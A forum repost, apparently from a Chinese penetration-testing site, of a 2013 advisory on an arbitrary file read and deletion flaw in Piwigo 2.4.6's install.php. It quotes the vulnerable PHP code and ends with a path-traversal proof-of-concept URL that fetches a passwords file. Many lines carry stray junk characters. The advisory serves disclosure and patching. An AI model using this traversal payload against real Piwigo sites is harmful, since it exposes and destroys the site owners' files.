中国网络渗透测试联盟

标题: Piwigo任意文件泄露和任意文件删除漏洞 [打印本页]

---

作者: admin    时间: 2013-3-14 20:15
标题: Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。
. D& \& S* ?# y4 a& b! I" |
& K  x6 y! {+ y# _/ W; KPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
/install.php:
-------------
* A5 F" I5 [0 Y! i113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
: x7 `- K' Z8 ]; V" Q6 n. G115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
( s5 c; W/ |6 j117:   header('Pragma: no-cache');
- J1 W* U) C, y, P5 w118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
4 t) m+ p( c  g1 X122:   unlink($filename);
, h  o: T5 ~9 S# r123:   exit();
+ p4 z, g4 {; L' j. M# m* f+ ]124: }
  G5 Y5 D) z- G  j====================================================================
- C  a% X. ?5 k" `. _! e
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
$ A" }  @: n) G+ R/ Q+ {$ f           MySQL 5.5.25a
$ X9 L3 T. ~2 W, r4 G7 J
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
5 B+ ?4 w2 B% [" S3 `9 {- T8 C8 g
Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
+ e$ ]* i5 U9 q& V. \" |Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
# w9 [/ p4 Q4 C7 E' ]; s9 Q
2 c3 b( y/ u, F+ c# g0 }15.02.2013
. O- j3 b! z8 n7 Q& J) Y# b* b
--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
- f, {+ _8 K7 M0 V
! ?3 E6 w/ A) _5 F

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2